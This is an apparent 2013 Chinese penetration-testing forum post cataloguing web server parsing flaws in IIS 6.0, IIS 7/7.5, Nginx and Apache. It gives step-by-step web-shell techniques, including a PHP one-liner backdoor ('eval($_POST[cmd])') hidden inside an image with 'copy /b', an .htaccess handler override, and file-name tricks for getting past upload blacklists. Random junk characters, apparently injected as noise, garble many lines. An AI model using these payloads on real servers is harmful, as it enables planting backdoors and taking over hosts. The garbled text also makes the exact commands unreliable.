中国网络渗透测试联盟

标题: 常见服务器解析漏洞总结 [打印本页]

作者: admin    时间: 2013-4-19 19:14
标题: 常见服务器解析漏洞总结
Author : laterain
; _5 w" M6 Z! z- V3 T& B- a[+]IIS6.0
  ~) n/ R& Y9 _$ s: a* a: I0 M( u , ~2 @7 ~6 w- c
目录解析:/xx.asp/xx.jpg
! z" P- q( A/ S  P2 Z' \: ^- s xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
) H& K! L, r9 E/ h! |3 `0 [ IIS6.0 会将 xx.jpg 解析为 asp 文件。
! r- s2 ?- Y6 _0 D后缀解析:/xx.asp;.jpg     - D, T0 I# _2 C
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。& L9 v+ p, o" J3 P# F
默认解析:/xx.asa
; [5 s$ O# u& n7 o+ {         /xx.cer7 S- |7 _" T) P4 K1 y! n+ W
         /xx.cdx
- [5 H8 [& X3 W; _3 B6 H! P  m) s& q8 C IIS6.0 默认的可执行文件除了 asp 还包含这三种' S$ |- f. V$ [4 g" r* F
此处可联系利用目录解析漏洞
% U4 i! e- E2 l( k" E+ |7 |/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg+ k6 j, s* R' a; v1 z
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03# `8 t+ V8 ?$ w, r

, D% r. a5 A1 e6 J IIS 7.0/IIS 7.5/Nginx <0.8.03$ V- N1 h; {) s4 z; w
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面7 |4 |* q6 _1 `; |* ?- K
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。- P9 l; u8 R. q' p8 m$ v+ v2 j
常用利用方法:- ~/ ]9 `, x' p. J' O2 j1 t
将一张图和一个写入后门代码的文本文件合并将恶意文本
5 m' g' V: p# x0 V# a  U 写入图片的二进制代码之后,避免破坏图片文件头和尾
7 E9 \' s4 V/ A8 @% H. [5 [0 a! ? 如:
$ G0 ?% {  ~6 [8 H/ \4 n- E copy xx.jpg /b + yy.txt/a xy.jpg+ p% }4 }( P( U4 x. @' N$ ?
#########################################################: f6 m- T6 h6 w& [, m0 k
/b 即二进制[binary]模式6 @$ i6 f& p+ T: E% B
/a 即ascii模式" p# k, J. h' t, z2 Y# m- f/ [4 ]- \
xx.jpg 正常图片文件
; a3 n0 S/ \; `: ] yy.txt 内容 <?PHP fputs(fopen('shell.php','w')," h* \5 h$ @; v1 r) d! }4 L
'<?php eval($_POST[cmd])?>');?>: q' P- M) V& @9 G# r0 Z! ^
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称2 A, \! Z: p2 Y( O% S7 ]
为shell.php的文件
/ p" W4 x. p% Y% c, K! W4 q1 { ###########################################################3 N  a- g- x% |. H6 d
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php / L" ^8 U' X  v; j! ~
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php 8 O2 V2 ~+ C3 y3 I7 Q7 Z
密码 cmd' i3 G# W0 n( O/ q( D( y' j1 ]5 L! f
[+]Nginx <0.8.03% B$ }9 q3 ~, B3 s5 U& T4 E
7 p3 C! U/ m* v7 j
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞! t5 }% q8 n2 ~, i/ H! u! M2 k
在一个文件路径(/xx.jpg)后面加上%00.php
6 j. A/ H' Q% J6 ?9 z5 ~ 会将 /xx.jpg%00.php 解析为 php 文件。
) K: m5 H9 b2 f" A0 m/ c[+]Apache<0.8.03
9 ~( e2 M' A8 d; w9 X% _9 u9 F
" \& S4 q3 [: Z& ~ 后缀解析:test.php.x1.x2.x37 y, R$ ^8 Q( y' c: F2 i+ X6 Q
Apache将从右至左开始判断后缀,若x3非可识别后缀,
: m7 L8 l" s6 j9 O 再判断x2,直到找到可识别后缀为止,然后将该可识别6 m) u" H) h& C' k! V# a4 X1 W
后缀进解析test.php.x1.x2.x3 则会被解析为php
: t+ n8 X, h) o 经验之谈:php|php3|phtml 多可被Apache解析。: |' Q0 @- ?5 Y
[+]其他一些可利用的' ~0 p/ ~4 |2 M# D3 }# M

, z3 z: ]; S2 k4 t8 O9 y7 ?/ e在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
4 d/ c0 N. I3 p9 L- m0 A若这样命名,windows会默认除去空格或点,这也是可以被利用的!* G: K2 H' Y7 N
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
- K- n  \5 T9 {5 b# L) ^4 Q或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
% q0 b2 O& U; d$ ~3 a* Y. |) E得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
  b7 m% _, y$ x/ D0 h{Linux主机中不行,Linux允许这类文件存在}
* X. ^5 Q; k9 @) G! q2 i' o5 }) V. q如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说8 w6 t! P4 a. p1 r9 l# E7 F1 N
的,当初我并不知道),且可以被上传,那可以尝试在; A- J/ v: k' [" _9 e2 C, u
.htaccess中写入:
+ J8 |. v9 ^% E1 h. w<FilesMatch “shell.jpg”>
  Z4 b! _$ n9 F  X! ZSetHandler application/x-httpd-php 8 ^' O, p; j/ K; K  W
</FilesMatch>8 L1 k6 M- ^5 R* K" J
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件, r$ n- J  ]' A7 S# u
[+]错误修改" r! o7 |$ b! `9 I( _: T# D
6 X6 b3 f* F# g( l; z5 G+ \
在 IIS 6.0 下可解析 /xx.asp:.jpg( O5 ?5 W" l) O+ j/ j
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
+ a$ p3 u$ f  h- B  i剩下/xx.asp}修改:
! h1 T9 H( n+ j先谢谢核攻击的提醒
0 S5 B7 i+ Z( ]  q) c# E& N9 x. p4 X当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
$ [; I& j8 v' N7 N里是没有任何内容的,因为。。不好解释 大家自己看
# X6 ^1 ^8 o. O$ ?/ mhttp://lcx.cc/?i=24481 f) O0 c1 d9 `2 p
http://baike.baidu.com/view/3619593.htm3 V& m9 {/ O# ~8 o" ]8 d1 B1 L- l, C8 m

3 f' J: ]7 y2 K( b0 H




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2